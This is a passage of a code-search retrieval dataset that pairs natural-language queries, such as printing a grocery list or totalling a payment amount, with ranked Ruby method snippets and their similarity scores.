"text": "def print_list(grocery_list)\n\tputs \"This is what we need, and how many\"\n\tgrocery_list.each do |item, quanity|\n\t\tputs \"#{item}: #{quanity}\"\n\tend\nend",
"title": ""
},
{
"docid": "eaf4180d667d4d397c351abd0650af6d",
"score": "0.70894414",
"text": "def print_hash(list)\r\n puts \"Current grocery list:\"\r\n list.each do |item_name, item_quant|\r\n puts \"#{item_name}: #{item_quant}\"\r\n end\r\n puts \"---------------\"\r\nend",
"title": ""
},
{
"docid": "19b431ed3689d6ec1492cae628da12a3",
"score": "0.7088712",
"text": "def print_pretty(grocery_list)\n grocery_list.each do |item, quantity|\n puts \"you bought #{quantity} #{item}\"\n end\nend",
"title": ""
},
{
"docid": "6916050fc31f9716239e5f8412a4fcc2",
"score": "0.70886886",
"text": "def pretty(list)\n puts \"---------------\"\n puts \"The grocery list now consists of...\"\n list.each_with_index do |item, quantity|\n puts \"#{item} ---> #{quantity}\"\n end\n puts \"---------------\"\nend",
"title": ""
},
{
"docid": "252f4a1eaaa6c223abe1c6f55dfa3790",
"score": "0.7067055",
"text": "def print_list(list)\n\n list.each do |key, value|\n p \"My grocery list includes #{key}:#{value}\"\n end\nend",
"title": ""
},
{
"docid": "41b2ccfc8365f63fa2e95c89c8f7b59c",
"score": "0.70461106",
"text": "def pretty_print(list)\n list.each do |item, x|\n puts \"--------------------------------\"\n puts \"We have #{x} #{item} on our list\"\n puts \"--------------------------------\"\n end\nend",
"title": ""
},
{
"docid": "de3b8e6bb0692ca8a1d2b831a2386082",
"score": "0.70393413",
"text": "def print_list(groc_hash)\r\n groc_hash.each do |key,value|\r\n p \" there are #{value} #{key} on the list.\"\r\n end\r\np print_list(example_list)\r\n \r\nend",
"title": ""
},
{
"docid": "3373b17a7502bc4e0d522124c2b72c44",
"score": "0.7038089",
"text": "def printed_list(valued_grocery_list)\nvalued_grocery_list.each {|key,value| puts \"I need a quantity of #{value} #{key}(s)\"}\nend",
"title": ""
},
{
"docid": "f2dfb174512e26e825021d2d4a80e599",
"score": "0.7036811",
"text": "def create_list(list)\n grocery_list = {}\n up_ls = list.split(' ')\n up_ls.each do |item|\n \tgrocery_list[item] = 1\n \tend \n pretty_print(grocery_list)\nend",
"title": ""
},
{
"docid": "3f37b4bef2dea01851e1a3017ef3fe23",
"score": "0.70278776",
"text": "def pretty_list(list)\n list.each do\n |item, quantity| puts \"We need #{quantity} #{item}\" end\n p list\nend",
"title": ""
},
{
"docid": "525fbdf391140137afdb567eb872e7b8",
"score": "0.7010783",
"text": "def print_list(grocery_list)\n\tputs \"--------------\"\n\tgrocery_list.each {|item,quantity| puts \"#{item}: #{quantity}\"}\n\tputs \"--------------\"\nend",
"title": ""
},
{
"docid": "ea6a73cfd078e168eb2da9e9d76117d9",
"score": "0.7008869",
"text": "def pretty(grocery_list)\n grocery_list.each do |item, quantity|\n puts \"#{item}, qty: #{quantity}\".capitalize\n end\nend",
"title": ""
},
{
"docid": "955955a15bfecf480a3e018c50b5f867",
"score": "0.70072037",
"text": "def look_nice(list)\n puts \"GROCERY LIST:\"\n list.each { |key, value| puts \"#{key} : #{value}\" }\nend",
"title": ""
},
{
"docid": "75c1ce1e844c5cc2ac7cd7a8af8b76fd",
"score": "0.70013475",
"text": "def print_list(list_hash)\r\n\tlist_hash.each do |item, quantity|\r\n\t\tputs \"I need #{quantity} vine/bag/pints/bunch of #{item}!\"\r\n\tend\r\nend",
"title": ""
},
{
"docid": "256c5f1b226643c701f2f1476fb62a9a",
"score": "0.6999081",
"text": "def print_list(grocery_hash)\r\n\tgrocery_hash.each do | food_item_key, quantity | \r\n\t\tputs food_item_key + \": #{quantity}\"\r\n\tend\r\nend",
"title": ""
},
{
"docid": "5c6513869397fab70fe1bb64b888c4e4",
"score": "0.6987279",
"text": "def print_list(item_hash)\n\titem_hash.each do |item,qty|\n\t\tputs item + \":#{}\"\n\tend\nend",
"title": ""
},
{
"docid": "1f3f6f3959a67a5020ac7e1f63451117",
"score": "0.69798493",
"text": "def print_list(my_grocery_list)\n puts \"you bought:\"\nmy_grocery_list.each do |key, value|\n puts \" #{value} #{key}\"\n\nend \nend",
"title": ""
},
{
"docid": "b1be8848904ece32b8a36ad04ed6ee83",
"score": "0.696327",
"text": "def print_list(grocery_list)\n puts \"Here is the current list:\"\n grocery_list.each do |item, quantity|\n puts \"#{item}#{line_item(item.length)}#{quantity}\"\n end\n puts \"\"\nend",
"title": ""
},
{
"docid": "d50c71089ba82e844b4cce16dec56ef6",
"score": "0.69583124",
"text": "def print_list(grocery_hash)\n grocery_hash.each do|item, quantity|\n puts item+\": #{quantity}\"\n end\nend",
"title": ""
},
{
"docid": "fe9d543d4f0996000db23d6b9a6a5549",
"score": "0.69527626",
"text": "def print_list(list)\n puts \"-------- Grocery List --------\"\n list.each{|item, value|puts \" #{item} : #{value}\" }\nend",
"title": ""
},
{
"docid": "52432728eecdc7a2e256c2c7d229c114",
"score": "0.6946198",
"text": "def print_list(hash)\n puts \"Here is your list:\"\n hash.each { |item, quantity| puts \"#{item} - #{quantity}.\" }\nend",
"title": ""
},
{
"docid": "8f81cf514d45dafcbae4551503f3f9eb",
"score": "0.6946113",
"text": "def pretty_print(list)\r\n list.each {|item, quantity| puts \"#{item} : #{quantity}\"}\r\nend",
"title": ""
},
{
"docid": "7112ac377b65c50166ee652be55af272",
"score": "0.69361836",
"text": "def pretty_list(list)\n\tlist.each {|item, quantity| puts \"You need #{quantity} #{item}\"}\nend",
"title": ""
},
{
"docid": "d35b5a95b2d63fe5d8b8a2934e84d9ef",
"score": "0.693571",
"text": "def list_printer(list_hash)\r\n puts \"**************SHOPPING LIST******************\"\r\n list_hash.each do |items, quantity|\r\n \r\n puts \"#{items}, qty: #{quantity}\"\r\n end\r\nend",
"title": ""
},
{
"docid": "a3731a70507b6715b0d9e4a2610571f1",
"score": "0.69284475",
"text": "def print_pretty_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"#{item} - #{quantity}\"\n\tend\nend",
"title": ""
},
{
"docid": "f7475713bf9469a6369e3f61284a6f40",
"score": "0.69222075",
"text": "def pretty_maker(grocery_hash)\n grocery_hash.each {|item,quantity| puts \"You have #{quantity} #{item}\" }\nend",
"title": ""
},
{
"docid": "b8c94f2bdab72d79d6238c47286d0e59",
"score": "0.6920354",
"text": "def grocery_print(hash)\n puts \"Your grocery list:\"\n hash.each do |key, value|\n puts \"#{key}: #{value}\"\n end\nend",
"title": ""
},
{
"docid": "b9a52b8d2b24e805426eb9a6b66f875a",
"score": "0.69178057",
"text": "def print_grocery_list(grocery_list)\n puts \"Your grocery list\"\n puts \"_________________\"\n grocery_list.each{|item, value| puts \"#{item}: #{value}\"}\n puts \"_________________\"\nend",
"title": ""
},
{
"docid": "006054fc3ba960bfaa8790be7ba089e6",
"score": "0.6899694",
"text": "def pretty_print(list)\n list.each do |item, quantity|\n \tputs \"You just got: #{item}=#{quantity}\"\n \tend \nend",
"title": ""
},
{
"docid": "e145e98cef0cf3f883f6146eec3554ac",
"score": "0.6880056",
"text": "def print_list(list)\n puts \"GROCERY LIST:\"\n list.each do |item, qty|\n puts \"* #{item}, qty:#{qty}\"\n end\n puts \"--------------------------\"\nend",
"title": ""
},
{
"docid": "736cb05f3e582c0c593b56acbc456613",
"score": "0.6876344",
"text": "def create_list(items)\n grocery_list = {}\n items.split.each {|item| grocery_list[item] = 1}\n pretty_list grocery_list\nend",
"title": ""
},
{
"docid": "3267942fa0c439f27907ba354403883a",
"score": "0.6872187",
"text": "def pretty_list(list)\n list.each{|food, quantity| puts \"Please get #{quantity} #{food}.\"}\nend",
"title": ""
},
{
"docid": "9c4f1ebfa63fcf4ed71b9516bb7bb3cd",
"score": "0.68707347",
"text": "def grocery_list_printout(grocery_list)\n\tgrocery_list.each {|item| puts \"* \" + item}\nend",
"title": ""
},
{
"docid": "2ebdd04270bdfaddd321dac5837ef7d7",
"score": "0.686824",
"text": "def display_grocery_list(list_name)\n line_width = 18\n formatted_display = \"ITEM\".ljust(line_width/2) << \"QUANTITY\".rjust(line_width) << \"\\n\"\n list_name.each do |key, value|\n formatted_display += \"#{key}\".ljust(line_width/2) << \" -- #{value}\".rjust(line_width) << \"\\n\"\n end\n formatted_display\nend",
"title": ""
},
{
"docid": "895d47387746cc8e55ac482ceba10f36",
"score": "0.6865097",
"text": "def print_pretty_list(list)\r\n\tlist.each do |item, quantity|\r\n\t\tputs \"#{item} - #{quantity}\"\r\n\tend\r\nend",
"title": ""
},
{
"docid": "91f3dcd32e2d445d4fec41a0ea031230",
"score": "0.6839745",
"text": "def pretty_printing(our_list)\n our_list.each do |x,y|\n puts \"#{x}\" + \": \" + \"#{y}\"\n \n end\nend",
"title": ""
},
{
"docid": "838711a3adea9399f4f721543a95b774",
"score": "0.6837083",
"text": "def print_list(grocery_hash)\n puts \"You need to buy:\"\n grocery_hash.each { |food, quantity|\n puts \"#{quantity} -- #{food}\"\n }\nend",
"title": ""
},
{
"docid": "421208a1b672d555ea0eea6d2f17abb6",
"score": "0.68327886",
"text": "def print_list(shopping_list)\n\tshopping_list.each do |key,value|\n\t\tputs \" - \" + key.upcase + \" ..... \" + value.to_s\n\tend\nend",
"title": ""
},
{
"docid": "e14c93a8bfb81b3cecf6fbb7e184bb74",
"score": "0.68278223",
"text": "def printprettylist(list)\n\tputs \"\"\n\tlist.each do |food, itemnum|\n\t\tputs \"You have to get #{itemnum} of #{food}!\"\n\tend\n\tputs \"-------------Get YO FOOD-----------------\"\nend",
"title": ""
}
] |
3f0976f4557b7bfb5acf743ccefc76e8 | Total amount of money to pay via gateway | [
{
"docid": "d7c5e303cc80f33739b9af663e2df6fb",
"score": "0.0",
"text": "def payment_price\n\t\t\t\t\treturn self.price\n\t\t\t\tend",
"title": ""
}
] | [
{
"docid": "cae70c018636f7321e6440c6dc1bafa0",
"score": "0.77599823",
"text": "def amount\n result = 0\n if gateway_mode === :test\n result = 1000\n else\n result = (@order.price * 100)\n end\n result.to_i\n end",
"title": ""
},
{
"docid": "923264b084f55b5899907388bc1cf18c",
"score": "0.715039",
"text": "def payment_amount\n convert_email_to_user && save\n return override_cost if override_cost.present?\n\n event&.get_cost(member: user&.present?)\n end",
"title": ""
},
{
"docid": "5dba30dd88aacde94e322b8decb8efbd",
"score": "0.71381307",
"text": "def add_money\n @total += fee\n end",
"title": ""
},
{
"docid": "7439a41aa064b99ac6b68e81bbf5bc04",
"score": "0.7124119",
"text": "def payment_amount\n params['asking_price'] = params['asking_price'].to_f\n params['down_payment'] = params['down_payment'].to_f\n params['amortization_period'] = params['amortization_period'].to_f\n\n insurance_cost = calculate_insurance_amount(params)\n payment_amount = calculate_payment_amount(params, insurance_cost, @@interest_rate)\n json_response(amount: payment_amount)\n end",
"title": ""
},
{
"docid": "30351859ce792a7de887935f625dbb91",
"score": "0.71191853",
"text": "def amount_paid\n accepted_payments.sum(:amount).to_f\n end",
"title": ""
},
{
"docid": "7eef5a351a9609e5bc5767dd75eb9191",
"score": "0.70803374",
"text": "def calculate_total_payment\n\t\tif self.total_amount.blank?\n\t\t\tbalance = 0\n\t\telse\n\t\t\tbalance = (self.total_amount + self.penalty) - paid_total\n\t\tend\n\n\t\tif balance <= 0\n return 0\n else\n return balance\n end\n\tend",
"title": ""
},
{
"docid": "8b34bcc21db2c6d6a30269856c1bcbe4",
"score": "0.7053821",
"text": "def total_amount\n (payable.try(:total_amount) || amount).to_f \n end",
"title": ""
},
{
"docid": "35b54a8285e17c2afc834f7ac06bb756",
"score": "0.7038895",
"text": "def host_fee\n (total - net_rate).round(2)\n end",
"title": ""
},
{
"docid": "8d9d96ea5edb13b2903e9ca3f0e9af52",
"score": "0.70128024",
"text": "def total_price\n Money.new(quantity * price_per_serving)\n end",
"title": ""
},
{
"docid": "c0aa71ba8e226a64f70d72ef79befafb",
"score": "0.70111036",
"text": "def calculate_total\n self.total = total_money(total_gross)\n end",
"title": ""
},
{
"docid": "741992f8abad542b10b98529a7b899fb",
"score": "0.70071846",
"text": "def outstanding_payment_amount\n (total - amount_paid).round(2)\n end",
"title": ""
},
{
"docid": "199d95bc601df99fd31f7016114b0f3f",
"score": "0.69800067",
"text": "def billing_amount\n self.net_amount + self.taxes_amount\n end",
"title": ""
},
{
"docid": "199d95bc601df99fd31f7016114b0f3f",
"score": "0.69800067",
"text": "def billing_amount\n self.net_amount + self.taxes_amount\n end",
"title": ""
},
{
"docid": "df37fce04fa26b421205107caa6a74aa",
"score": "0.694824",
"text": "def total_payments\n total = 0\n payments.each{|payment| total += payment.amount}\n total\n end",
"title": ""
},
{
"docid": "4b2e9bcf0d34eae81bbd6e23fd532a08",
"score": "0.69197416",
"text": "def total_pay\n total = 0\n @serie_items.each do |item|\n # next if item.quantity.nil?\n total += item.quantity * item.creation.price\n end\n return total\n end",
"title": ""
},
{
"docid": "028632c03a11c2d67344df1e4ed4ae80",
"score": "0.69121504",
"text": "def activemerchant_amount\n (amount * 100).to_i\n end",
"title": ""
},
{
"docid": "1ab73078df12f77968a0b3e0c0b7660e",
"score": "0.6909703",
"text": "def total_value\n @quantity * @price_per_share\n end",
"title": ""
},
{
"docid": "ad238cbfb23740e9a8c39f9e6ff99826",
"score": "0.68993914",
"text": "def payment\n loan_amount / 12\n end",
"title": ""
},
{
"docid": "e703c30294c7c7bf35f43511650309c4",
"score": "0.6891025",
"text": "def payment\n payment = 0\n transactions = finance_transactions\n unless transactions.nil?\n transactions.each do |t|\n payment += t.amount\n end\n end\n payment\n end",
"title": ""
},
{
"docid": "c526e9beabb4906053e13b85881939e3",
"score": "0.6890486",
"text": "def amount_owed\n total_price - amount_paid\n end",
"title": ""
},
{
"docid": "bd232f87f7773a5939d5203929fd0673",
"score": "0.6888835",
"text": "def amount\n self.payout_amount\n end",
"title": ""
},
{
"docid": "c4aa76badffd24fd5e8f4b2e7e6a65dd",
"score": "0.68622583",
"text": "def total\n (amount + fee) if amount\n end",
"title": ""
},
{
"docid": "217de5833bbc0dec360a90b42ffff53a",
"score": "0.6862153",
"text": "def total_payment\r\n checks.inject(0.00){|sum, check| sum += check.check_amount.to_f}\r\n end",
"title": ""
},
{
"docid": "a4ab12e92b96b5730ae72ef9ac49fb80",
"score": "0.68471235",
"text": "def total\n currency(@total)\n puts @total\n end",
"title": ""
},
{
"docid": "7ea394c92a7c42fd540439806e2b665c",
"score": "0.6837034",
"text": "def money\n\t\tif @wallet.neg?\n\t\t\t@in_debt = true\n\t\tend\n\t\treturn @wallet.amount\n\tend",
"title": ""
},
{
"docid": "f067ea70e1a417f6f2ab52efb3d656ad",
"score": "0.6832139",
"text": "def total\n # extracts all of the values from the hash and sums them up\n cost = @products.values.sum\n # add 7.5% tax and round to two decimal places\n return (cost * 1.075).round(2)\n end",
"title": ""
},
{
"docid": "c96e6a9ba685ccfbf9b00ec4c13a7846",
"score": "0.6820183",
"text": "def total_price\n mrg = margin(pricing_policy)\n calculate(pricing_policy, mrg).round\n end",
"title": ""
},
{
"docid": "6cc7e486e732a9fdd3f53edb506766fb",
"score": "0.68149304",
"text": "def get_total_price\n reservation = get_reservation_braintree\n duration = reservation.to - reservation.from\n total = reservation.listing.fees + (duration * reservation.listing.price_per_night)\n total.to_f\n end",
"title": ""
},
{
"docid": "e6f0919f2887cb875cc8364c84889c22",
"score": "0.68062556",
"text": "def total\n total_cost = 0\n \n # Summing up the product cost\n @products.each do |item, cost|\n total_cost += cost\n end\n \n # Calculate a 7.5% tax\n total_order_cost = total_cost * 1.075\n \n # Rounding the result to two decimal places\n return total_order_cost.round(2)\n end",
"title": ""
},
{
"docid": "e426f4b3393ac8ccef4ff54c1835fbea",
"score": "0.68020797",
"text": "def get_total_amount(params, transferred)\n total = 0\n\n if params[:multiple] == 'single'\n total = params[:amount].to_f\n return total * get_direction(params, transferred)\n end\n\n unless params[:transactions].nil?\n transactions = params[:transactions].split(/\\r?\\n/)\n transactions.each do |t_name_amount|\n if /#{@reg}/.match(t_name_amount)\n amount = t_name_amount.split(' ')[-1]\n total += amount.to_f if amount.respond_to? \"to_f\"\n end\n end\n end\n\n return total * get_direction(params, transferred)\n end",
"title": ""
},
{
"docid": "45686dd638aecae6bbfb60d929977ac6",
"score": "0.6801335",
"text": "def return_sum\n @money = 0\n @transactions.each do |t|\n if t.get_action == 'buy'\n @money = @money + t.get_value\n elsif t.get_action == 'sell'\n @money = @money - t.get_value\n end\n end\n total_value_of_shares - @money\n end",
"title": ""
},
{
"docid": "6998ef69792e6f68c889e26d4c46af34",
"score": "0.67972857",
"text": "def total_payments\n\t\tammortization * 12\n\tend",
"title": ""
},
{
"docid": "e93001ad51379272e01416d063fb0340",
"score": "0.67869824",
"text": "def total_price\n total = 0\n self.transactions.each do |t|\n total += t.price\n end\n total\n end",
"title": ""
},
{
"docid": "7178f995470bf196ef66e6e1f67f5df1",
"score": "0.6782206",
"text": "def promo_total\n 0.0\n end",
"title": ""
},
{
"docid": "aacfec9abe7d7234d20c4a5cc486d555",
"score": "0.67778724",
"text": "def total\n format_money(@total)\n end",
"title": ""
},
{
"docid": "592778da7aa1fe8c53d236fe363632e4",
"score": "0.6771976",
"text": "def total \n\t\t@Total_bill = @bill_amount + @tip_rate_calc\t\n\t \tputs \"The total bill is £#{@Total_bill}\"\n\tend",
"title": ""
},
{
"docid": "307be92aa820eaeb2f61cc79d512e80b",
"score": "0.67591757",
"text": "def total_copay_amount\n sum = self.insurance_payment_eobs.sum(:total_co_pay)\n sum.to_f\n end",
"title": ""
},
{
"docid": "bd3402493e16ac092677d3cc450ee655",
"score": "0.6744811",
"text": "def total\n conv_price_single * conv_quantity\n end",
"title": ""
},
{
"docid": "ecca365f9024d21de725cc36591ec9e2",
"score": "0.67446446",
"text": "def calc\n\n # get the amount (hrs or days)\n if self.rateType == 'Hour'\n\n std = self.hours.nil? ? 0 : TimeUtil.hours_to_numeric(self.hours)\n\n else\n\n std = dayValue.nil? ? 0 : dayValue\n \n end\n\n amt = 0\n \n amt = std * self.chargeRate unless self.chargeRate.nil? || self.chargeRate == 0\n self.netAmount = amt\n\n return amt\n \n end",
"title": ""
},
{
"docid": "7a29634292e4939d85c90fbfff969298",
"score": "0.6742177",
"text": "def gross\n params['LMI_PAYMENT_AMOUNT']\n end",
"title": ""
},
{
"docid": "104848a2dc4e05f8bf145006a5299555",
"score": "0.6740333",
"text": "def saldo\n balance\n end",
"title": ""
},
{
"docid": "81098f7adb200b5029e7b14ca83b539b",
"score": "0.67385155",
"text": "def loan_amt\n (self.buying_price*1000) * (1 - (self.deposit/100))\n end",
"title": ""
},
{
"docid": "5c58aa17557ddb63aa811fa417b9417f",
"score": "0.6732968",
"text": "def payment\n number_with_precision(amount, :precision => 2 )\n end",
"title": ""
},
{
"docid": "d8dd8377313bf0dcc4ebd573ec73b788",
"score": "0.6727077",
"text": "def paid_sum\n paid = Money.new(0, 'USD')\n paid += @paid_splits.inject(Money.new(0, 'USD')){ |memo, split| memo + split.sum } if @paid_splits.present?\n paid\n end",
"title": ""
},
{
"docid": "fdc78a462d7cbfa0aac0f5dc750602f8",
"score": "0.6717113",
"text": "def money_total(type)\n transaction_details(type).select do |value|\n value.instance_of? Money\n end.inject(:+) || Money.new\n end",
"title": ""
},
{
"docid": "d20ab73708e7e2cfdb2af15c9efa43d9",
"score": "0.67146736",
"text": "def total_amount\n t = amount\n t += sub_transactions.sum(:amount) if recurring_period\n t\n end",
"title": ""
},
{
"docid": "c333c35495ed9213b170effd9f2254ec",
"score": "0.6713928",
"text": "def calc_total\n (@total_after_tax * @gratuity) + @total_after_tax\n end",
"title": ""
},
{
"docid": "c2c6b556217abccfeb66ac53dda50c3e",
"score": "0.67119807",
"text": "def total_buy_price\n buy_price[\"total\"][\"amount\"].to_f\n end",
"title": ""
},
{
"docid": "6e99bc720fb98aca34ca24285ca11703",
"score": "0.6709614",
"text": "def dollar_total\n total / 100.0\n end",
"title": ""
},
{
"docid": "41f37bb01dc5299093c07b9399edece9",
"score": "0.6704881",
"text": "def total_amount\r\n quantity * unit_price\r\n end",
"title": ""
},
{
"docid": "4f7de3f907841d795422459bd7820551",
"score": "0.6700947",
"text": "def calculate_amount\n (order.offer.price + order.offer.inventory_item.shipping_cost).round(2)\n end",
"title": ""
},
{
"docid": "af7ef443fcc1e75ceb6419d7da980463",
"score": "0.6696465",
"text": "def total_price\n self.price + self.donation_amount\n end",
"title": ""
},
{
"docid": "de934346dc44b110c0f2caa5f906b811",
"score": "0.66956383",
"text": "def total\n order_total + delivery_price + (prices_include_tax ? 0 : tax_amount)\n end",
"title": ""
},
{
"docid": "dca6c60a14a9b03b99b4ef59350583bf",
"score": "0.66942567",
"text": "def total_amount\n \t amount = 0\n \t operation_items.each do | oi |\n \t\tamount = amount + oi.amount\n end\n amount\n end",
"title": ""
},
{
"docid": "875f8c4baf1cbf8c7c063ab1d96d6533",
"score": "0.6692738",
"text": "def investment\n if buy_price\n num_of_shares * buy_price\n end\n end",
"title": ""
},
{
"docid": "74ead1325ce4a894a9bd8664cd829efd",
"score": "0.6684407",
"text": "def money\n @calculator.amount\n end",
"title": ""
},
{
"docid": "895f858bf6056ba84172fbbc7eaefc1d",
"score": "0.668439",
"text": "def amount_payment_outstanding\n capital_required - amount_payment_collected\n end",
"title": ""
},
{
"docid": "5e9657dcf0e62ece3faeeaf41cee2efa",
"score": "0.6680721",
"text": "def total_price\n (@base_price * @tax_rate + @base_price) * @quantity\n end",
"title": ""
},
{
"docid": "b5e2c771d0897a41ab218b38a75ef7bf",
"score": "0.66790694",
"text": "def amount_owed\n invoice_total - total_amount_paid\n end",
"title": ""
},
{
"docid": "eeb566cb7189ec7e1f43b5fefebfa431",
"score": "0.66759557",
"text": "def donated_amount\n self.fees.purchased.sum(:amount).to_f\n end",
"title": ""
},
{
"docid": "cf345696c889c0ad06ff99c9ad6c5efd",
"score": "0.6666219",
"text": "def amount\n params['amount_net']\n end",
"title": ""
},
{
"docid": "b089e23de314a933c5e135d12f0b82c6",
"score": "0.66566455",
"text": "def total\n return @total_price \n end",
"title": ""
},
{
"docid": "5f7ed46b0f7e845798712534389a6727",
"score": "0.6656299",
"text": "def total_payment_amount\n sum = 0.00\n unless self.insurance_payment_eobs.blank?\n self.insurance_payment_eobs.each do |eob|\n (sum = sum + eob.total_amount_paid_for_claim) unless eob.total_amount_paid_for_claim.nil?\n end\n end\n sum\n end",
"title": ""
},
{
"docid": "489a5152e233624b0439bd3a6a63b6d7",
"score": "0.66539925",
"text": "def total_balance\n return @checking_account_balance + @saving_account_balance\n end",
"title": ""
},
{
"docid": "1a232eaab7eaa8ac467c67e547d384a0",
"score": "0.6652941",
"text": "def get_total_payment(team_bono)\n decimal_total_bono_percentage = ((get_individual_bono_percentage + team_bono) / 2) / 100\n discounted_bono = @bono * decimal_total_bono_percentage\n @sueldo_completo = @sueldo + discounted_bono\n end",
"title": ""
},
{
"docid": "08a58dbff93b21805097a311d5fbf47f",
"score": "0.66428345",
"text": "def compute_total_value\n @value= @net_price * @count\n end",
"title": ""
},
{
"docid": "b9744cb2dc3951a5500ff9fe9ea42f30",
"score": "0.66375107",
"text": "def amount\n price\n end",
"title": ""
},
{
"docid": "633baf3ead86ebdd3c045ca95d96cd07",
"score": "0.6636413",
"text": "def total_value_usd\n @quantity * price_in_usd\n end",
"title": ""
},
{
"docid": "58fc54bebad72f7ad215f37c116f274f",
"score": "0.6636316",
"text": "def total_net\n shipping_amount + line_total_net\n end",
"title": ""
},
{
"docid": "2cce825f025dcfab2f2f9a5f9ffbcc8b",
"score": "0.6636138",
"text": "def total(bill)\n sum=0.0\n bill.items.each do |i|\n sum += i.price\n end\n return sum\n end",
"title": ""
},
{
"docid": "328741edadc4b4e61a71e2fe03601e13",
"score": "0.6628491",
"text": "def total_amount(bill_tip)\n\treturn tip_amount(bill_amount) + bill_tip\nend",
"title": ""
},
{
"docid": "b25df027771da1151e73e359077917b9",
"score": "0.66180706",
"text": "def paid_total\n paid_total = 0\n unless self.payments.blank?\n for payment in self.payments\n paid_total += payment.amount.blank? ? 0 : payment.amount\n end\n end\n return paid_total\n end",
"title": ""
},
{
"docid": "d1c1845230a76394a783f0050ebc6f0a",
"score": "0.6613753",
"text": "def total_amount\n (total * 100).to_i\n end",
"title": ""
},
{
"docid": "3aada95a5a688bba860e7cbb2bf5dc69",
"score": "0.6611455",
"text": "def amount; end",
"title": ""
},
{
"docid": "d683bb44f26c48e910be071878bf063c",
"score": "0.6610049",
"text": "def total_coins_value\n json_response({:total_coins_value => @total_coins_val, :status => true, :message => 'calculated'})\n end",
"title": ""
},
{
"docid": "7c7e9c991401ed4008b85a3c1466446a",
"score": "0.6609578",
"text": "def pay_in(balance)\n @balance += balance\nend",
"title": ""
},
{
"docid": "5fa57e2b7b1f6a27fd5a4674db95ce10",
"score": "0.6608908",
"text": "def amount\n estimate_total = self.estimate_line_items.sum(:amount)\n if self.tax_inclusive? \n tax_total = 0 \n else\n tax_total = 0 \n tax_line_items.each do |line_item|\n tax_account = line_item.account\n next if (tax_account.accountable_type=='DutiesAndTaxesAccounts' && tax_account.accountable.calculation_method==4 && tax_account.accountable.split_tax == 0) \n tax_total += line_item.amount\n end\n end\n ship_charge = self.shipping_line_items.sum(:amount)\n estimate_total + tax_total + ship_charge\n end",
"title": ""
},
{
"docid": "02d0080c07c1aaf6314dbae53231131a",
"score": "0.6602958",
"text": "def total_payout\n # make sure we have rep_parent\n node = self\n if !self.rep_parent.nil?\n node = self.rep_parent\n end\n \n # get total payout of children\n child_payout = 0\n node.children.each do |child|\n child_payout = child_payout + child.total_payout\n end\n \n # multiply complete * reward and expired * penalty\n payout = node.repititions.\n where(:state => Activity::COMPLETE).size * node.reward\n payout = payout -\n node.repititions.\n where(:state => Activity::EXPIRED).size *\n node.penalty\n return payout + child_payout\n \n end",
"title": ""
},
{
"docid": "ad80f2d2138ce62bc3e2eeaf72ee0740",
"score": "0.6600675",
"text": "def calculate_total\n sub_total = 0\n\n if size\n sub_total += Config.booths[size][:price]\n end\n\n self.add_ons.each do |add_on|\n sub_total += add_on.total\n end\n sub_total += industries.length * 35000\n sub_total += fees.pluck(:amount).reduce(0, &:+)\n\n self.total = sub_total\n self.balance = total - payments.paid.map(&:amount_paid).reduce(0, &:+)\n self\n end",
"title": ""
},
{
"docid": "55a21327bfb67d6828cdb554d8e6da93",
"score": "0.6595579",
"text": "def total_price\n total = total_price_without_installments\n if promotions.any?\n adjustment = adjustments.eligible.map(&:amount).sum\n\n (total += adjustment).to_f\n end\n if line_items.any? { |li| li.request_installments == true }\n total = total / 5\n end\n total\n end",
"title": ""
},
{
"docid": "64f270fd4f183e07bb36f20f2059f88b",
"score": "0.6589208",
"text": "def total_amount\n common_currency = calculate_common_currency\n if common_currency.nil?\n self[:total_amount]\n else\n self[:total_amount] ||= PaymentAmount[calculate_total, common_currency]\n end\n end",
"title": ""
},
{
"docid": "eca65c1805ea5caebd4caf9723083de3",
"score": "0.6588958",
"text": "def pay(payment)\n @total_paid += payment\n \"You fed $#{payment} to the meter.\"\n end",
"title": ""
},
{
"docid": "5aa87e0fcdcb934c7dbc220e14e9fff6",
"score": "0.6588537",
"text": "def calculate_payment_amount(params, insurance_cost, interest_rate)\n mortgage_principle = params['asking_price'] - params['down_payment'] + insurance_cost\n number_of_payments = SCHEDULE_MAP[params['payment_schedule']] * params['amortization_period']\n nominal_interest_rate = (interest_rate / SCHEDULE_MAP[params['payment_schedule']]) / 100\n\n numerator = (mortgage_principle * nominal_interest_rate * (1 + nominal_interest_rate)**number_of_payments)\n denominator = (1 + nominal_interest_rate)**number_of_payments - 1\n\n (numerator / denominator).round(2)\n end",
"title": ""
},
{
"docid": "9a70747f0fde846fc8786be653609fe3",
"score": "0.6587935",
"text": "def pays_transfers\n self.offers_as_buyer.accepted.inject(0){|sum,offer| sum += offer.pay}\n end",
"title": ""
},
{
"docid": "f87c78c113d3d86b53dfe491d2ca5839",
"score": "0.65840185",
"text": "def total_debt\n self.amount\n end",
"title": ""
},
{
"docid": "dbbf5c661eca154ec8863256b3c9c90a",
"score": "0.6574141",
"text": "def total_credit_amount\n amount_sum_for(:credit?)\n end",
"title": ""
},
{
"docid": "77dd12070ff765f3a1f016fb45820a38",
"score": "0.6573668",
"text": "def total\n Money.new(self.expense_entries.sum('unit_cost_pence * qty'))\n end",
"title": ""
},
{
"docid": "133ebed5f03d96bcd1b07ab0a9ba3318",
"score": "0.6567783",
"text": "def total_price\n number_to_currency(total, unit: address.region.currency )\n end",
"title": ""
},
{
"docid": "5c7b313b222136f603c9e4315b38c9c2",
"score": "0.65677124",
"text": "def total\n charges.map { |x| x.total_cost.to_f }.inject(:+)\n end",
"title": ""
},
{
"docid": "a0dc701b06051e475a922ca9877d2a87",
"score": "0.6567547",
"text": "def total_quantity\n cached_qty_bank.to_f + cached_qty_consigned.to_f\n end",
"title": ""
},
{
"docid": "fabc436bc8cfe660b452e03e5bfcc898",
"score": "0.6567492",
"text": "def credit_amount\n sum( credits )\n end",
"title": ""
},
{
"docid": "1381d2a89ab0438dcc2017e5da3b2bda",
"score": "0.65669084",
"text": "def net_total\n send(:net_amount) if respond_to?(:net_amount)\n end",
"title": ""
},
{
"docid": "5485c4837fd85460f634e80d702b06da",
"score": "0.6561393",
"text": "def max_transfer_amount_cents\n DepositMethod.max_transfer_amount_cents(:paypal)\n end",
"title": ""
},
{
"docid": "617949b90f7795d77a58fae4ea0772cd",
"score": "0.6560383",
"text": "def total_price\n \tresult = 0;\n \titems = self.order_items\n\n \titems.each do |item|\n \t\tresult += item.price\n \tend\n \treturn result\n end",
"title": ""
},
{
"docid": "e9c2b78daf848106171a9b45cfe9d2a6",
"score": "0.655098",
